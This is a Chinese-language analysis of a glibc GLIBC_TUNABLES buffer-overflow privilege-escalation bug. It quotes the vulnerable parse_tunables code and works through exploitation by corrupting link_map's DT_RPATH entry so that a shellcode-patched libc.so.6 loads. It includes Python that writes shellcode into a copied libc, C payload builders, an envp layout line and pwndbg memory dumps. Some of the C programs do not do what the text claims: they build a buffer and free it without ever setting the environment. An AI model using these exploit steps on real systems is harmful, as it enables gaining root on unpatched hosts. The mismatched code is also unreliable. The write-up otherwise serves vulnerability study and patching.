一次glibc 提权漏洞的分析与调试
字数 1320 2025-08-19 12:41:42
GLIBC_TUNABLES 环境变量缓冲区溢出漏洞分析与利用
漏洞概述
这是一个存在于 glibc 中的缓冲区溢出漏洞,影响版本包括:
- glibc 2.35-0ubuntu3 (aarch64)
- glibc 2.36-9+deb12u2 (amd64)
漏洞发生在 GLIBC_TUNABLES 环境变量处理过程中,攻击者可以通过精心构造的环境变量值触发缓冲区溢出,最终可能导致权限提升。
漏洞原理
关键函数分析
漏洞主要存在于 elf/dl-tunables.c 文件中的 parse_tunables 函数:
static void parse_tunables(char *tunestr, char *valstring) {
if (tunestr == NULL || *tunestr == '\0')
return;
char *p = tunestr;
size_t off = 0;
while (true) {
char *name = p;
size_t len = 0;
/* First, find where the name ends. */
while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
len++;
/* If we reach the end of the string before getting a valid name-value pair, bail out. */
if (p[len] == '\0') {
if (__libc_enable_secure)
tunestr[off] = '\0';
return;
}
/* We did not find a valid name-value pair before encountering the colon. */
if (p[len]== ':') {
p += len + 1;
continue;
}
p += len + 1;
/* Take the value from the valstring since we need to NULL terminate it. */
char *value = &valstring[p - tunestr];
len = 0;
while (p[len] != ':' && p[len] != '\0')
len++;
/* Add the tunable if it exists. */
for (size_t i = 0; i < sizeof(tunable_list) / sizeof(tunable_t); i++) {
tunable_t *cur = &tunable_list[i];
if (tunable_is_name(cur->name, name)) {
/* If we are in a secure context (AT_SECURE) then ignore the tunable unless it is explicitly marked as secure. */
if (__libc_enable_secure) {
if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE) {
if (off > 0)
tunestr[off++] = ':';
const char *n = cur->name;
while (*n != '\0')
tunestr[off++] = *n++;
tunestr[off++] = '=';
for (size_t j = 0; j < len; j++)
tunestr[off++] = value[j];
}
if (cur->security_level != TUNABLE_SECLEVEL_NONE)
break;
}
value[len] = '\0';
tunable_initialize(cur, value);
break;
}
}
if (p[len] != '\0')
p += len + 1;
}
}
漏洞触发条件
- 当
__libc_enable_secure启用时(在安全上下文中) - 处理
GLIBC_TUNABLES环境变量 - 环境变量值长度超过分配的内存空间
漏洞形成过程
- 存在一个名为
GLIBC_TUNABLES的环境变量 - 该环境变量的值使用
tunables_strdup函数进行处理(类似于strdup) - 此时 libc 还没有初始化完成,使用的是
__minimal_malloc分配内存 - 调用
parse_tunables函数处理环境变量值 - 当
__libc_enable_secure启用且安全等级不是TUNABLE_SECLEVEL_SXID_ERASE时,会对环境变量进行处理 - 处理过程中没有正确检查边界,导致缓冲区溢出
漏洞利用
利用思路
- 通过修改
GLIBC_TUNABLES的值来替换 libc 的加载路径 - 加载攻击者修改过的恶意库
- 找到一个合适的栈地址来覆盖原始的 libc 加载路径
- 使用 ASLR 关闭的方式来尝试利用该漏洞
关键利用代码
with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
fh.write(libc_e.d[0:__libc_start_main])
fh.write(shellcode)
fh.write(libc_e.d[__libc_start_main + len(shellcode):])
利用步骤详解
- 构造恶意环境变量:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void *__minimal_malloc(size_t size) {
return malloc(size);
}
int main() {
char fill[0xd00];
const char *prefix = "GLIBC_TUNABLES=glibc.malloc.mxfast=";
strcpy(fill, prefix);
size_t prefixLength = strlen(prefix);
for (size_t i = prefixLength; i < sizeof(fill) - 1; i++) {
fill[i] = 'A';
}
fill[sizeof(fill) - 1] = '\0';
void *allocatedMemory = __minimal_malloc(0xd00 + 1);
free(allocatedMemory);
return 0;
}
- 内存布局分析:
RAX 0x7f4109f8f2e0 ?— 0x0
pwndbg> vmmap
0x7f4109f8c000 0x7f4109f90000 rw-p 4000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
> hex(0x7f4109f8f2e0 + 0xd01)
'0x7f4109f8ffe1'
> hex(0x7f4109f90000 - 0x7f4109f8ffe1)
'0x1f'
- 覆盖 link_map 结构:
攻击目标是 struct link_map 的 l_info[DT_RPATH] 成员变量:
struct link_map {
ElfW(Addr) l_addr;
char *l_name;
ElfW(Dyn) *l_ld;
struct link_map *l_next, *l_prev;
struct link_map *l_real;
Lmid_t l_ns;
struct libname_list *l_libname;
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
// ...
};
- 控制 DT_RPATH:
DT_RPATH 是 ELF 文件中的动态链接器标签,用于指定运行时搜索共享库的目录路径。通过覆盖 link_map->l_info[DT_RPATH] 可以控制库加载路径。
- 构造 payload:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void* __minimal_malloc(size_t size) {
return malloc(size);
}
int main() {
char *payload = (char*)__minimal_malloc(PAYLOAD_SIZE);
const char *prefix = "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=";
strcpy(payload, prefix);
size_t prefixLength = strlen(prefix);
for (size_t i = prefixLength; i < PAYLOAD_SIZE - 1; i++) {
payload[i] = 'B';
}
payload[PAYLOAD_SIZE - 1] = '\0';
free(payload);
return 0;
}
- 调试观察:
*RAX 0x7f4908e74c40 ?— 0x0
pwndbg> p *((struct link_map *)$rax)
$1 = {
l_addr = 4774451407232463713,
l_name = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>,
l_ld = 0x4242424242424242,
l_next = 0x4242424242424242,
l_prev = 0x4242424242424242,
l_real = 0x4242424242424242,
l_ns = 4774451407313060418,
l_libname = 0x4242424242424242,
l_info = {
0x4242424242424242 <repeats 17 times>,
0x696c673a42424242,
0x6f6c6c616d2e6362,
0x74736166786d2e63,
0x3d,
0x0 <repeats 24 times>,
0x2e6362696c673a00,
0x6d2e636f6c6c616d,
0x3d7473616678,
0x0 <repeats 29 times>
},
// ...
}
- 最终利用:
通过精确控制内存布局,将 link_map->l_info[DT_RPATH] 指向攻击者控制的路径,从而加载恶意库:
for (int i = 2; i<ENVP_SIZE-1; i++)
envp[i] = "";
envp[0x20 + 0xb8] = "\x28\x40\x40";
漏洞修复
- 在
parse_tunables函数中添加边界检查 - 确保在处理环境变量时不会越界写入
- 更新到修复后的 glibc 版本
总结
该漏洞利用 GLIBC_TUNABLES 环境变量处理过程中的缓冲区溢出,通过精心构造的环境变量值覆盖关键内存结构,最终实现加载恶意库并获取 root 权限。漏洞利用的关键在于:
- 理解
parse_tunables函数的处理逻辑 - 控制
link_map结构的l_info[DT_RPATH]成员 - 精确计算内存布局和偏移
- 构造能够触发溢出的环境变量值
此漏洞展示了环境变量处理不当可能带来的严重后果,特别是在系统库的早期初始化阶段。